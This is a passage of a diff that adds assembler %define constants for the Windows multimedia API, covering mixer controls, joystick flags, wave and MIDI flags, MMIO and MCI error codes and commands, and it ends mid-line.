+%define MIXERLINE_COMPONENTTYPE_DST_FIRST 0h +%define MIXERLINE_COMPONENTTYPE_DST_UNDEFINED MIXERLINE_COMPONENTTYPE_DST_FIRST+0 +%define MIXERLINE_COMPONENTTYPE_DST_DIGITAL MIXERLINE_COMPONENTTYPE_DST_FIRST+1 +%define MIXERLINE_COMPONENTTYPE_DST_LINE MIXERLINE_COMPONENTTYPE_DST_FIRST+2 +%define MIXERLINE_COMPONENTTYPE_DST_MONITOR MIXERLINE_COMPONENTTYPE_DST_FIRST+3 +%define MIXERLINE_COMPONENTTYPE_DST_SPEAKERS MIXERLINE_COMPONENTTYPE_DST_FIRST+4 +%define MIXERLINE_COMPONENTTYPE_DST_HEADPHONES MIXERLINE_COMPONENTTYPE_DST_FIRST+5 +%define MIXERLINE_COMPONENTTYPE_DST_TELEPHONE MIXERLINE_COMPONENTTYPE_DST_FIRST+6 +%define MIXERLINE_COMPONENTTYPE_DST_WAVEIN MIXERLINE_COMPONENTTYPE_DST_FIRST+7 +%define MIXERLINE_COMPONENTTYPE_DST_VOICEIN MIXERLINE_COMPONENTTYPE_DST_FIRST+8 +%define MIXERLINE_COMPONENTTYPE_DST_LAST MIXERLINE_COMPONENTTYPE_DST_FIRST+8 +%define MIXERLINE_COMPONENTTYPE_SRC_FIRST 1000h +%define MIXERLINE_COMPONENTTYPE_SRC_UNDEFINED MIXERLINE_COMPONENTTYPE_SRC_FIRST+0 +%define MIXERLINE_COMPONENTTYPE_SRC_DIGITAL MIXERLINE_COMPONENTTYPE_SRC_FIRST+1 +%define MIXERLINE_COMPONENTTYPE_SRC_LINE MIXERLINE_COMPONENTTYPE_SRC_FIRST+2 +%define MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE MIXERLINE_COMPONENTTYPE_SRC_FIRST+3 +%define MIXERLINE_COMPONENTTYPE_SRC_SYNTHESIZER MIXERLINE_COMPONENTTYPE_SRC_FIRST+4 +%define MIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC MIXERLINE_COMPONENTTYPE_SRC_FIRST+5 +%define MIXERLINE_COMPONENTTYPE_SRC_TELEPHONE MIXERLINE_COMPONENTTYPE_SRC_FIRST+6 +%define MIXERLINE_COMPONENTTYPE_SRC_PCSPEAKER MIXERLINE_COMPONENTTYPE_SRC_FIRST+7 +%define MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT MIXERLINE_COMPONENTTYPE_SRC_FIRST+8 +%define MIXERLINE_COMPONENTTYPE_SRC_AUXILIARY MIXERLINE_COMPONENTTYPE_SRC_FIRST+9 +%define MIXERLINE_COMPONENTTYPE_SRC_ANALOG MIXERLINE_COMPONENTTYPE_SRC_FIRST+10 +%define MIXERLINE_COMPONENTTYPE_SRC_LAST MIXERLINE_COMPONENTTYPE_SRC_FIRST+10 +%define MIXERLINE_TARGETTYPE_UNDEFINED 0 +%define MIXERLINE_TARGETTYPE_WAVEOUT 1 +%define MIXERLINE_TARGETTYPE_WAVEIN 2 +%define MIXERLINE_TARGETTYPE_MIDIOUT 3 +%define MIXERLINE_TARGETTYPE_MIDIIN 4 +%define MIXERLINE_TARGETTYPE_AUX 5 +%define MIXER_GETLINEINFOF_DESTINATION 0h +%define MIXER_GETLINEINFOF_SOURCE 1h +%define MIXER_GETLINEINFOF_LINEID 2h +%define MIXER_GETLINEINFOF_COMPONENTTYPE 3h +%define MIXER_GETLINEINFOF_TARGETTYPE 4h +%define MIXER_GETLINEINFOF_QUERYMASK 0Fh +%define MIXERCONTROL_CONTROLF_UNIFORM 1h +%define MIXERCONTROL_CONTROLF_MULTIPLE 2h +%define MIXERCONTROL_CONTROLF_DISABLED 80000000h +%define MIXERCONTROL_CT_CLASS_MASK 0F0000000h +%define MIXERCONTROL_CT_CLASS_CUSTOM 0h +%define MIXERCONTROL_CT_CLASS_METER 10000000h +%define MIXERCONTROL_CT_CLASS_SWITCH 20000000h +%define MIXERCONTROL_CT_CLASS_NUMBER 30000000h +%define MIXERCONTROL_CT_CLASS_SLIDER 40000000h +%define MIXERCONTROL_CT_CLASS_FADER 50000000h +%define MIXERCONTROL_CT_CLASS_TIME 60000000h +%define MIXERCONTROL_CT_CLASS_LIST 70000000h +%define MIXERCONTROL_CT_SUBCLASS_MASK 0F000000h +%define MIXERCONTROL_CT_SC_SWITCH_BOOLEAN 0h +%define MIXERCONTROL_CT_SC_SWITCH_BUTTON 1000000h +%define MIXERCONTROL_CT_SC_METER_POLLED 0h +%define MIXERCONTROL_CT_SC_TIME_MICROSECS 0h +%define MIXERCONTROL_CT_SC_TIME_MILLISECS 1000000h +%define MIXERCONTROL_CT_SC_LIST_SINGLE 0h +%define MIXERCONTROL_CT_SC_LIST_MULTIPLE 1000000h +%define MIXERCONTROL_CT_UNITS_MASK 0FF0000h +%define MIXERCONTROL_CT_UNITS_CUSTOM 0h +%define MIXERCONTROL_CT_UNITS_BOOLEAN 10000h +%define MIXERCONTROL_CT_UNITS_SIGNED 20000h +%define MIXERCONTROL_CT_UNITS_UNSIGNED 30000h +%define MIXERCONTROL_CT_UNITS_DECIBELS 40000h +%define MIXERCONTROL_CT_UNITS_PERCENT 50000h +%define MIXERCONTROL_CONTROLTYPE_CUSTOM MIXERCONTROL_CT_CLASS_CUSTOM|MIXERCONTROL_CT_UNITS_CUSTOM +%define MIXERCONTROL_CONTROLTYPE_BOOLEANMETER MIXERCONTROL_CT_CLASS_METER|MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_BOOLEAN +%define MIXERCONTROL_CONTROLTYPE_SIGNEDMETER MIXERCONTROL_CT_CLASS_METER|MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_SIGNED +%define MIXERCONTROL_CONTROLTYPE_PEAKMETER MIXERCONTROL_CONTROLTYPE_SIGNEDMETER+1 +%define MIXERCONTROL_CONTROLTYPE_UNSIGNEDMETER MIXERCONTROL_CT_CLASS_METER|MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_UNSIGNED +%define MIXERCONTROL_CONTROLTYPE_BOOLEAN MIXERCONTROL_CT_CLASS_SWITCH|MIXERCONTROL_CT_SC_SWITCH_BOOLEAN|MIXERCONTROL_CT_UNITS_BOOLEAN +%define MIXERCONTROL_CONTROLTYPE_ONOFF MIXERCONTROL_CONTROLTYPE_BOOLEAN+1 +%define MIXERCONTROL_CONTROLTYPE_MUTE MIXERCONTROL_CONTROLTYPE_BOOLEAN+2 +%define MIXERCONTROL_CONTROLTYPE_MONO MIXERCONTROL_CONTROLTYPE_BOOLEAN+3 +%define MIXERCONTROL_CONTROLTYPE_LOUDNESS MIXERCONTROL_CONTROLTYPE_BOOLEAN+4 +%define MIXERCONTROL_CONTROLTYPE_STEREOENH MIXERCONTROL_CONTROLTYPE_BOOLEAN+5 +%define MIXERCONTROL_CONTROLTYPE_BUTTON MIXERCONTROL_CT_CLASS_SWITCH|MIXERCONTROL_CT_SC_SWITCH_BUTTON|MIXERCONTROL_CT_UNITS_BOOLEAN +%define MIXERCONTROL_CONTROLTYPE_DECIBELS MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_DECIBELS +%define MIXERCONTROL_CONTROLTYPE_SIGNED MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_SIGNED +%define MIXERCONTROL_CONTROLTYPE_UNSIGNED MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_UNSIGNED +%define MIXERCONTROL_CONTROLTYPE_PERCENT MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_PERCENT +%define MIXERCONTROL_CONTROLTYPE_SLIDER MIXERCONTROL_CT_CLASS_SLIDER|MIXERCONTROL_CT_UNITS_SIGNED +%define MIXERCONTROL_CONTROLTYPE_PAN MIXERCONTROL_CONTROLTYPE_SLIDER+1 +%define MIXERCONTROL_CONTROLTYPE_QSOUNDPAN MIXERCONTROL_CONTROLTYPE_SLIDER+2 +%define MIXERCONTROL_CONTROLTYPE_FADER MIXERCONTROL_CT_CLASS_FADER|MIXERCONTROL_CT_UNITS_UNSIGNED +%define MIXERCONTROL_CONTROLTYPE_VOLUME MIXERCONTROL_CONTROLTYPE_FADER+1 +%define MIXERCONTROL_CONTROLTYPE_BASS MIXERCONTROL_CONTROLTYPE_FADER+2 +%define MIXERCONTROL_CONTROLTYPE_TREBLE MIXERCONTROL_CONTROLTYPE_FADER+3 +%define MIXERCONTROL_CONTROLTYPE_EQUALIZER MIXERCONTROL_CONTROLTYPE_FADER+4 +%define MIXERCONTROL_CONTROLTYPE_SINGLESELECT MIXERCONTROL_CT_CLASS_LIST|MIXERCONTROL_CT_SC_LIST_SINGLE|MIXERCONTROL_CT_UNITS_BOOLEAN +%define MIXERCONTROL_CONTROLTYPE_MUX MIXERCONTROL_CONTROLTYPE_SINGLESELECT+1 +%define MIXERCONTROL_CONTROLTYPE_MULTIPLESELECT MIXERCONTROL_CT_CLASS_LIST|MIXERCONTROL_CT_SC_LIST_MULTIPLE|MIXERCONTROL_CT_UNITS_BOOLEAN +%define MIXERCONTROL_CONTROLTYPE_MIXER MIXERCONTROL_CONTROLTYPE_MULTIPLESELECT+1 +%define MIXERCONTROL_CONTROLTYPE_MICROTIME MIXERCONTROL_CT_CLASS_TIME|MIXERCONTROL_CT_SC_TIME_MICROSECS|MIXERCONTROL_CT_UNITS_UNSIGNED +%define MIXERCONTROL_CONTROLTYPE_MILLITIME MIXERCONTROL_CT_CLASS_TIME|MIXERCONTROL_CT_SC_TIME_MILLISECS|MIXERCONTROL_CT_UNITS_UNSIGNED +%define MIXER_GETLINECONTROLSF_ALL 0h +%define MIXER_GETLINECONTROLSF_ONEBYID 1h +%define MIXER_GETLINECONTROLSF_ONEBYTYPE 2h +%define MIXER_GETLINECONTROLSF_QUERYMASK 0Fh +%define MIXER_GETCONTROLDETAILSF_VALUE 0h +%define MIXER_GETCONTROLDETAILSF_LISTTEXT 1h +%define MIXER_GETCONTROLDETAILSF_QUERYMASK 0Fh +%define MIXER_SETCONTROLDETAILSF_VALUE 0h +%define MIXER_SETCONTROLDETAILSF_CUSTOM 1h +%define MIXER_SETCONTROLDETAILSF_QUERYMASK 0Fh +%define JOY_BUTTON5 10h +%define JOY_BUTTON6 20h +%define JOY_BUTTON7 40h +%define JOY_BUTTON8 80h +%define JOY_BUTTON9 100h +%define JOY_BUTTON10 200h +%define JOY_BUTTON11 400h +%define JOY_BUTTON12 800h +%define JOY_BUTTON13 1000h +%define JOY_BUTTON14 2000h +%define JOY_BUTTON15 4000h +%define JOY_BUTTON16 8000h +%define JOY_BUTTON17 10000h +%define JOY_BUTTON18 20000h +%define JOY_BUTTON19 40000h +%define JOY_BUTTON20 80000h +%define JOY_BUTTON21 100000h +%define JOY_BUTTON22 200000h +%define JOY_BUTTON23 400000h +%define JOY_BUTTON24 800000h +%define JOY_BUTTON25 1000000h +%define JOY_BUTTON26 2000000h +%define JOY_BUTTON27 4000000h +%define JOY_BUTTON28 8000000h +%define JOY_BUTTON29 10000000h +%define JOY_BUTTON30 20000000h +%define JOY_BUTTON31 40000000h +%define JOY_BUTTON32 80000000h +%define JOY_POVCENTERED -1 +%define JOY_POVFORWARD 0 +%define JOY_POVRIGHT 9000 +%define JOY_POVBACKWARD 18000 +%define JOY_POVLEFT 27000 +%define JOY_RETURNX 1h +%define JOY_RETURNY 2h +%define JOY_RETURNZ 4h +%define JOY_RETURNR 8h +%define JOY_RETURNU 10h +%define JOY_RETURNV 20h +%define JOY_RETURNPOV 40h +%define JOY_RETURNBUTTONS 80h +%define JOY_RETURNRAWDATA 100h +%define JOY_RETURNPOVCTS 200h +%define JOY_RETURNCENTERED 400h +%define JOY_USEDEADZONE 800h +%define JOY_RETURNALL JOY_RETURNX|JOY_RETURNY|JOY_RETURNZ|JOY_RETURNR|JOY_RETURNU|JOY_RETURNV|JOY_RETURNPOV|JOY_RETURNBUTTONS +%define JOY_CAL_READALWAYS 10000h +%define JOY_CAL_READXYONLY 20000h +%define JOY_CAL_READ3 40000h +%define JOY_CAL_READ4 80000h +%define JOY_CAL_READXONLY 100000h +%define JOY_CAL_READYONLY 200000h +%define JOY_CAL_READ5 400000h +%define JOY_CAL_READ6 800000h +%define JOY_CAL_READZONLY 1000000h +%define JOY_CAL_READRONLY 2000000h +%define JOY_CAL_READUONLY 4000000h +%define JOY_CAL_READVONLY 8000000h +%define WAVE_FORMAT_QUERY 1h +%define SND_PURGE 40h +%define SND_APPLICATION 80h +%define WAVE_MAPPED 4h +%define WAVE_FORMAT_DIRECT 8h +%define WAVE_FORMAT_DIRECT_QUERY WAVE_FORMAT_QUERY|WAVE_FORMAT_DIRECT +%define MIM_MOREDATA MM_MIM_MOREDATA +%define MOM_POSITIONCB MM_MOM_POSITIONCB +%define MIDI_IO_STATUS 20h +%define DRV_LOAD 1h +%define DRV_ENABLE 2h +%define DRV_OPEN 3h +%define DRV_CLOSE 4h +%define DRV_DISABLE 5h +%define DRV_FREE 6h +%define DRV_CONFIGURE 7h +%define DRV_QUERYCONFIGURE 8h +%define DRV_INSTALL 9h +%define DRV_REMOVE 0Ah +%define DRV_EXITSESSION 0Bh +%define DRV_POWER 0Fh +%define DRV_RESERVED 800h +%define DRV_USER 4000h +%define DRVCNF_CANCEL 0h +%define DRVCNF_OK 1h +%define DRVCNF_RESTART 2h +%define DRV_CANCEL DRVCNF_CANCEL +%define DRV_OK DRVCNF_OK +%define DRV_RESTART DRVCNF_RESTART +%define DRV_MCI_FIRST DRV_RESERVED +%define DRV_MCI_LAST DRV_RESERVED+0FFFh +%define CALLBACK_TYPEMASK 70000h +%define CALLBACK_NULL 0h +%define CALLBACK_WINDOW 10000h +%define CALLBACK_TASK 20000h +%define CALLBACK_FUNCTION 30000h +%define MM_MICROSOFT 1 +%define MM_MIDI_MAPPER 1 +%define MM_WAVE_MAPPER 2 +%define MM_SNDBLST_MIDIOUT 3 +%define MM_SNDBLST_MIDIIN 4 +%define MM_SNDBLST_SYNTH 5 +%define MM_SNDBLST_WAVEOUT 6 +%define MM_SNDBLST_WAVEIN 7 +%define MM_ADLIB 9 +%define MM_MPU401_MIDIOUT 10 +%define MM_MPU401_MIDIIN 11 +%define MM_PC_JOYSTICK 12 +%define SND_SYNC 0h +%define SND_ASYNC 1h +%define SND_NODEFAULT 2h +%define SND_MEMORY 4h +%define SND_ALIAS 10000h +%define SND_FILENAME 20000h +%define SND_RESOURCE 40004h +%define SND_ALIAS_ID 110000h +%define SND_ALIAS_START 0 +%define SND_LOOP 8h +%define SND_NOSTOP 10h +%define SND_VALID 1Fh +%define SND_NOWAIT 2000h +%define SND_VALIDFLAGS 17201Fh +%define SND_RESERVED 0FF000000h +%define SND_TYPE_MASK 170007h +%define WAVERR_BADFORMAT WAVERR_BASE+0 +%define WAVERR_STILLPLAYING WAVERR_BASE+1 +%define WAVERR_UNPREPARED WAVERR_BASE+2 +%define WAVERR_SYNC WAVERR_BASE+3 +%define WAVERR_LASTERROR WAVERR_BASE+3 +%define WOM_OPEN MM_WOM_OPEN +%define WOM_CLOSE MM_WOM_CLOSE +%define WOM_DONE MM_WOM_DONE +%define WIM_OPEN MM_WIM_OPEN +%define WIM_CLOSE MM_WIM_CLOSE +%define WIM_DATA MM_WIM_DATA +%define WAVE_MAPPER -1 +%define WAVE_ALLOWSYNC 2h +%define WAVE_VALID 3h +%define WHDR_DONE 1h +%define WHDR_PREPARED 2h +%define WHDR_BEGINLOOP 4h +%define WHDR_ENDLOOP 8h +%define WHDR_INQUEUE 10h +%define WHDR_VALID 1Fh +%define WAVECAPS_PITCH 1h +%define WAVECAPS_PLAYBACKRATE 2h +%define WAVECAPS_VOLUME 4h +%define WAVECAPS_LRVOLUME 8h +%define WAVECAPS_SYNC 10h +%define WAVE_INVALIDFORMAT 0h +%define WAVE_FORMAT_1M08 1h +%define WAVE_FORMAT_1S08 2h +%define WAVE_FORMAT_1M16 4h +%define WAVE_FORMAT_1S16 8h +%define WAVE_FORMAT_2M08 10h +%define WAVE_FORMAT_2S08 20h +%define WAVE_FORMAT_2M16 40h +%define WAVE_FORMAT_2S16 80h +%define WAVE_FORMAT_4M08 100h +%define WAVE_FORMAT_4S08 200h +%define WAVE_FORMAT_4M16 400h +%define WAVE_FORMAT_4S16 800h +%define WAVE_FORMAT_PCM 1 +%define MIDIERR_UNPREPARED MIDIERR_BASE+0 +%define MIDIERR_STILLPLAYING MIDIERR_BASE+1 +%define MIDIERR_NOMAP MIDIERR_BASE+2 +%define MIDIERR_NOTREADY MIDIERR_BASE+3 +%define MIDIERR_NODEVICE MIDIERR_BASE+4 +%define MIDIERR_INVALIDSETUP MIDIERR_BASE+5 +%define MIDIERR_LASTERROR MIDIERR_BASE+5 +%define MIM_OPEN MM_MIM_OPEN +%define MIM_CLOSE MM_MIM_CLOSE +%define MIM_DATA MM_MIM_DATA +%define MIM_LONGDATA MM_MIM_LONGDATA +%define MIM_ERROR MM_MIM_ERROR +%define MIM_LONGERROR MM_MIM_LONGERROR +%define MOM_OPEN MM_MOM_OPEN +%define MOM_CLOSE MM_MOM_CLOSE +%define MOM_DONE MM_MOM_DONE +%define MIDIMAPPER -1 +%define MIDI_MAPPER -1 +%define MIDI_CACHE_ALL 1 +%define MIDI_CACHE_BESTFIT 2 +%define MIDI_CACHE_QUERY 3 +%define MIDI_UNCACHE 4 +%define MIDI_CACHE_VALID MIDI_CACHE_ALL|MIDI_CACHE_BESTFIT|MIDI_CACHE_QUERY|MIDI_UNCACHE +%define MOD_MIDIPORT 1 +%define MOD_SYNTH 2 +%define MOD_SQSYNTH 3 +%define MOD_FMSYNTH 4 +%define MOD_MAPPER 5 +%define MIDICAPS_VOLUME 1h +%define MIDICAPS_LRVOLUME 2h +%define MIDICAPS_CACHE 4h +%define MHDR_DONE 1h +%define MHDR_PREPARED 2h +%define MHDR_INQUEUE 4h +%define MHDR_VALID 7h +%define AUX_MAPPER -1 +%define AUXCAPS_CDAUDIO 1 +%define AUXCAPS_AUXIN 2 +%define AUXCAPS_VOLUME 1h +%define AUXCAPS_LRVOLUME 2h +%define TIMERR_NOERROR 0 +%define TIMERR_NOCANDO TIMERR_BASE+1 +%define TIMERR_STRUCT TIMERR_BASE+33 +%define TIME_ONESHOT 0 +%define TIME_PERIODIC 1 +%define JOYERR_NOERROR 0 +%define JOYERR_PARMS JOYERR_BASE+5 +%define JOYERR_NOCANDO JOYERR_BASE+6 +%define JOYERR_UNPLUGGED JOYERR_BASE+7 +%define JOY_BUTTON1 1h +%define JOY_BUTTON2 2h +%define JOY_BUTTON3 4h +%define JOY_BUTTON4 8h +%define JOY_BUTTON1CHG 100h +%define JOY_BUTTON2CHG 200h +%define JOY_BUTTON3CHG 400h +%define JOY_BUTTON4CHG 800h +%define JOYSTICKID1 0 +%define JOYSTICKID2 1 +%define MMIOERR_BASE 256 +%define MMIOERR_FILENOTFOUND MMIOERR_BASE+1 +%define MMIOERR_OUTOFMEMORY MMIOERR_BASE+2 +%define MMIOERR_CANNOTOPEN MMIOERR_BASE+3 +%define MMIOERR_CANNOTCLOSE MMIOERR_BASE+4 +%define MMIOERR_CANNOTREAD MMIOERR_BASE+5 +%define MMIOERR_CANNOTWRITE MMIOERR_BASE+6 +%define MMIOERR_CANNOTSEEK MMIOERR_BASE+7 +%define MMIOERR_CANNOTEXPAND MMIOERR_BASE+8 +%define MMIOERR_CHUNKNOTFOUND MMIOERR_BASE+9 +%define MMIOERR_UNBUFFERED MMIOERR_BASE+10 +%define MMIO_RWMODE 3h +%define MMIO_SHAREMODE 70h +%define MMIO_CREATE 1000h +%define MMIO_PARSE 100h +%define MMIO_DELETE 200h +%define MMIO_EXIST 4000h +%define MMIO_ALLOCBUF 10000h +%define MMIO_GETTEMP 20000h +%define MMIO_DIRTY 10000000h +%define MMIO_OPEN_VALID 3FFFFh +%define MMIO_READ 0h +%define MMIO_WRITE 1h +%define MMIO_READWRITE 2h +%define MMIO_COMPAT 0h +%define MMIO_EXCLUSIVE 10h +%define MMIO_DENYWRITE 20h +%define MMIO_DENYREAD 30h +%define MMIO_DENYNONE 40h +%define MMIO_FHOPEN 10h +%define MMIO_EMPTYBUF 10h +%define MMIO_TOUPPER 10h +%define MMIO_INSTALLPROC 10000h +%define MMIO_PUBLICPROC 10000000h +%define MMIO_UNICODEPROC 1000000h +%define MMIO_REMOVEPROC 20000h +%define MMIO_FINDPROC 40000h +%define MMIO_FINDCHUNK 10h +%define MMIO_FINDRIFF 20h +%define MMIO_FINDLIST 40h +%define MMIO_CREATERIFF 20h +%define MMIO_CREATELIST 40h +%define MMIO_VALIDPROC 11070000h +%define MMIOM_READ MMIO_READ +%define MMIOM_WRITE MMIO_WRITE +%define MMIOM_SEEK 2 +%define MMIOM_OPEN 3 +%define MMIOM_CLOSE 4 +%define MMIOM_WRITEFLUSH 5 +%define MMIOM_RENAME 6 +%define MMIOM_USER 8000h +%define SEEK_SET 0 +%define SEEK_CUR 1 +%define SEEK_END 2 +%define MMIO_DEFAULTBUFFER 8192 +%define MCIERR_INVALID_DEVICE_ID MCIERR_BASE+1 +%define MCIERR_UNRECOGNIZED_KEYWORD MCIERR_BASE+3 +%define MCIERR_UNRECOGNIZED_COMMAND MCIERR_BASE+5 +%define MCIERR_HARDWARE MCIERR_BASE+6 +%define MCIERR_INVALID_DEVICE_NAME MCIERR_BASE+7 +%define MCIERR_OUT_OF_MEMORY MCIERR_BASE+8 +%define MCIERR_DEVICE_OPEN MCIERR_BASE+9 +%define MCIERR_CANNOT_LOAD_DRIVER MCIERR_BASE+10 +%define MCIERR_MISSING_COMMAND_STRING MCIERR_BASE+11 +%define MCIERR_PARAM_OVERFLOW MCIERR_BASE+12 +%define MCIERR_MISSING_STRING_ARGUMENT MCIERR_BASE+13 +%define MCIERR_BAD_INTEGER MCIERR_BASE+14 +%define MCIERR_PARSER_INTERNAL MCIERR_BASE+15 +%define MCIERR_DRIVER_INTERNAL MCIERR_BASE+16 +%define MCIERR_MISSING_PARAMETER MCIERR_BASE+17 +%define MCIERR_UNSUPPORTED_FUNCTION MCIERR_BASE+18 +%define MCIERR_FILE_NOT_FOUND MCIERR_BASE+19 +%define MCIERR_DEVICE_NOT_READY MCIERR_BASE+20 +%define MCIERR_INTERNAL MCIERR_BASE+21 +%define MCIERR_DRIVER MCIERR_BASE+22 +%define MCIERR_CANNOT_USE_ALL MCIERR_BASE+23 +%define MCIERR_MULTIPLE MCIERR_BASE+24 +%define MCIERR_EXTENSION_NOT_FOUND MCIERR_BASE+25 +%define MCIERR_OUTOFRANGE MCIERR_BASE+26 +%define MCIERR_FLAGS_NOT_COMPATIBLE MCIERR_BASE+28 +%define MCIERR_FILE_NOT_SAVED MCIERR_BASE+30 +%define MCIERR_DEVICE_TYPE_REQUIRED MCIERR_BASE+31 +%define MCIERR_DEVICE_LOCKED MCIERR_BASE+32 +%define MCIERR_DUPLICATE_ALIAS MCIERR_BASE+33 +%define MCIERR_BAD_CONSTANT MCIERR_BASE+34 +%define MCIERR_MUST_USE_SHAREABLE MCIERR_BASE+35 +%define MCIERR_MISSING_DEVICE_NAME MCIERR_BASE+36 +%define MCIERR_BAD_TIME_FORMAT MCIERR_BASE+37 +%define MCIERR_NO_CLOSING_QUOTE MCIERR_BASE+38 +%define MCIERR_DUPLICATE_FLAGS MCIERR_BASE+39 +%define MCIERR_INVALID_FILE MCIERR_BASE+40 +%define MCIERR_NULL_PARAMETER_BLOCK MCIERR_BASE+41 +%define MCIERR_UNNAMED_RESOURCE MCIERR_BASE+42 +%define MCIERR_NEW_REQUIRES_ALIAS MCIERR_BASE+43 +%define MCIERR_NOTIFY_ON_AUTO_OPEN MCIERR_BASE+44 +%define MCIERR_NO_ELEMENT_ALLOWED MCIERR_BASE+45 +%define MCIERR_NONAPPLICABLE_FUNCTION MCIERR_BASE+46 +%define MCIERR_ILLEGAL_FOR_AUTO_OPEN MCIERR_BASE+47 +%define MCIERR_FILENAME_REQUIRED MCIERR_BASE+48 +%define MCIERR_EXTRA_CHARACTERS MCIERR_BASE+49 +%define MCIERR_DEVICE_NOT_INSTALLED MCIERR_BASE+50 +%define MCIERR_GET_CD MCIERR_BASE+51 +%define MCIERR_SET_CD MCIERR_BASE+52 +%define MCIERR_SET_DRIVE MCIERR_BASE+53 +%define MCIERR_DEVICE_LENGTH MCIERR_BASE+54 +%define MCIERR_DEVICE_ORD_LENGTH MCIERR_BASE+55 +%define MCIERR_NO_INTEGER MCIERR_BASE+56 +%define MCIERR_WAVE_OUTPUTSINUSE MCIERR_BASE+64 +%define MCIERR_WAVE_SETOUTPUTINUSE MCIERR_BASE+65 +%define MCIERR_WAVE_INPUTSINUSE MCIERR_BASE+66 +%define MCIERR_WAVE_SETINPUTINUSE MCIERR_BASE+67 +%define MCIERR_WAVE_OUTPUTUNSPECIFIED MCIERR_BASE+68 +%define MCIERR_WAVE_INPUTUNSPECIFIED MCIERR_BASE+69 +%define MCIERR_WAVE_OUTPUTSUNSUITABLE MCIERR_BASE+70 +%define MCIERR_WAVE_SETOUTPUTUNSUITABLE MCIERR_BASE+71 +%define MCIERR_WAVE_INPUTSUNSUITABLE MCIERR_BASE+72 +%define MCIERR_WAVE_SETINPUTUNSUITABLE MCIERR_BASE+73 +%define MCIERR_SEQ_DIV_INCOMPATIBLE MCIERR_BASE+80 +%define MCIERR_SEQ_PORT_INUSE MCIERR_BASE+81 +%define MCIERR_SEQ_PORT_NONEXISTENT MCIERR_BASE+82 +%define MCIERR_SEQ_PORT_MAPNODEVICE MCIERR_BASE+83 +%define MCIERR_SEQ_PORT_MISCERROR MCIERR_BASE+84 +%define MCIERR_SEQ_TIMER MCIERR_BASE+85 +%define MCIERR_SEQ_PORTUNSPECIFIED MCIERR_BASE+86 +%define MCIERR_SEQ_NOMIDIPRESENT MCIERR_BASE+87 +%define MCIERR_NO_WINDOW MCIERR_BASE+90 +%define MCIERR_CREATEWINDOW MCIERR_BASE+91 +%define MCIERR_FILE_READ MCIERR_BASE+92 +%define MCIERR_FILE_WRITE MCIERR_BASE+93 +%define MCIERR_CUSTOM_DRIVER_BASE MCIERR_BASE+256 +%define MCI_FIRST 800h +%define MCI_OPEN 803h +%define MCI_CLOSE 804h +%define MCI_ESCAPE 805h +%define MCI_PLAY 806h +%define MCI_SEEK 807h +%define MCI_STOP 808h +%define MCI_PAUSE 809h +%define MCI_INFO 80Ah +%define MCI_GETDEVCAPS 80Bh +%define MCI_SPIN 80Ch +%define MCI_SET 80Dh +%define MCI_STEP 80Eh +%define MCI_RECORD 80Fh +%define MCI_SYSINFO 810h +%define MCI_BREAK 811h +%define MCI_SOUND 812h +%define MCI_SAVE 813h +%define MCI_STATUS 814h +%define MCI_CUE 830h +%define MCI_REALIZE 840h +%define MCI_WINDOW 841h +%define MCI_PUT 842h +%define MCI_WHERE 843h +%define MCI_FREEZE 844h +%define MCI_UNFREEZE 845h +%define MCI_LOAD 850h +%define MCI_CUT 851h +%define MCI_COPY 852h +%define MCI_PASTE 853h +%define MCI_UPDATE 854h +%define MCI_RESUME 855h +%define MCI_DELETE 856h +%define MCI_LAST 0FFFh +%define MCI_USER_MESSAGES 400h+MCI_FIRST +%define MCI_ALL_DEVICE_ID -1 +%define MCI_DEVTYPE_VCR 513 +%define MCI_DEVTYPE_VIDEODISC 514 +%define MCI_DEVTYPE_OVERLAY 515 +%define MCI_DEVTYPE_CD_AUDIO 516 +%define MCI_DEVTYPE_DAT 517 +%define MCI_DEVTYPE_SCANNER 518 +%define MCI_DEVTYPE_ANIMATION 519 +%define MCI_DEVTYPE_DIGITAL_VIDEO 520 +%define MCI_DEVTYPE_OTHER 521 +%define MCI_DEVTYPE_WAVEFORM_AUDIO 522 +%define MCI_DEVTYPE_SEQUENCER 523 +%define MCI_DEVTYPE_FIRST MCI_DEVTYPE_VCR +%define MCI_DEVTYPE_LAST MCI_DEVTYPE_SEQUENCER +%define MCI_DEVTYPE_FIRST_USER 1000h +%define MCI_MODE_NOT_READY MCI_STRING_OFFSET+12 +%define MCI_MODE_STOP MCI_STRING_OFFSET+13 +%define MCI_MODE_PLAY MCI_STRING_OFFSET+14 +%define MCI_MODE_RECORD MCI_STRING_OFFSET+15 +%define MCI_MODE_SEEK MCI_STRING_OFFSET+16 +%define MCI_MODE_PAUSE MCI_STRING_OFFSET+17 +%define MCI_MODE_OPEN MCI_STRING_OFFSET+18 +%define MCI_FORMAT_MILLISECONDS 0 +%define MCI_FORMAT_HMS 1 +%define MCI_FORMAT_MSF 2 +%define MCI_FORMAT_FRAMES 3 +%define MCI_FORMAT_SMPTE_24 4 +%define MCI_FORMAT_SMPTE_25 5 +%define MCI_FORMAT_SMPTE_30 6 +%define MCI_FORMAT_SMPTE_30DROP 7 +%define MCI_FORMAT_BYTES 8 +%define MCI_FORMAT_SAMPLES 9 +%define MCI_FORMAT_TMSF 10 +%define MCI_NOTIFY_SUCCESSFUL 1h +%define MCI_NOTIFY_SUPERSEDED 2h +%define MCI_NOTIFY_ABORTED 4h +%define MCI_NOTIFY_FAILURE 8h +%define MCI_NOTIFY 1h +%define MCI_WAIT 2h +%define MCI_FROM 4h +%define MCI_TO 8h +%define MCI_TRACK 10h +%define MCI_OPEN_SHAREABLE 100h +%define MCI_OPEN_ELEMENT 200h +%define MCI_OPEN_ALIAS 400h +%define MCI_OPEN_ELEMENT_ID 800h +%define MCI_OPEN_TYPE_ID 1000h +%define MCI_OPEN_TYPE 2000h +%define MCI_SEEK_TO_START 100h +%define MCI_SEEK_TO_END 200h +%define MCI_STATUS_ITEM 100h +%define MCI_STATUS_START 200h +%define MCI_STATUS_LENGTH 1h +%define MCI_STATUS_POSITION 2h +%define 